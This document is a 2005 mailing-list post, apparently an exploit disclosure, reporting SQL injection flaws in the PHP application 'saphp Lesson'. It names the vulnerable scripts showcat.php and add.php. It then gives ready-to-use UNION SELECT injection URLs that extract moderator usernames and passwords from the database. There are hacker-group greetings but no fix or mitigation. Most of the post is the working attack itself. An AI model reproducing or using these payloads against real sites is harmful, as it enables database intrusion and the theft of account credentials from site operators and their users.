SQL saphp Lesson
Date: 24 Oct 2005 15:52:29 -0000
From: [email protected]
To: [email protected]
Subject: SQL saphp Lesson
X-Virus-Scanned: antivirus-gw at tyumen.ru
saphp Lesson ..
Search By Google :-
saphp Lesson
Gr33tz :-
aLMaSTeR HaCKeR .. SQL Injection's FOunder - | almaster (at) hotmail (dot) com [email concealed]|-
Devil-00 .. SQL Injection's Exploting - | [email protected] | -
Security4Arab .. A'Where Home ..
1- SQL Injection in showcat.php
http://www.site.com/dros/showcat.php?forumid=|almaster
2-SQL Injection in add.php
http://www.site.com/dros/add.php?forumid=|almaster
Exp:
- Get Username By This Injection :
dros/showcat.php?forumid=-1%20UNION%20SELECT%20ModName%20FROM%20modretor
2- Get Password By This Injection :
dros/showcat.php?forumid=-1%20UNION%20SELECT%20ModPassword%20FROM%20modretor
aLMaSTeR [at] hotmail [dot] com
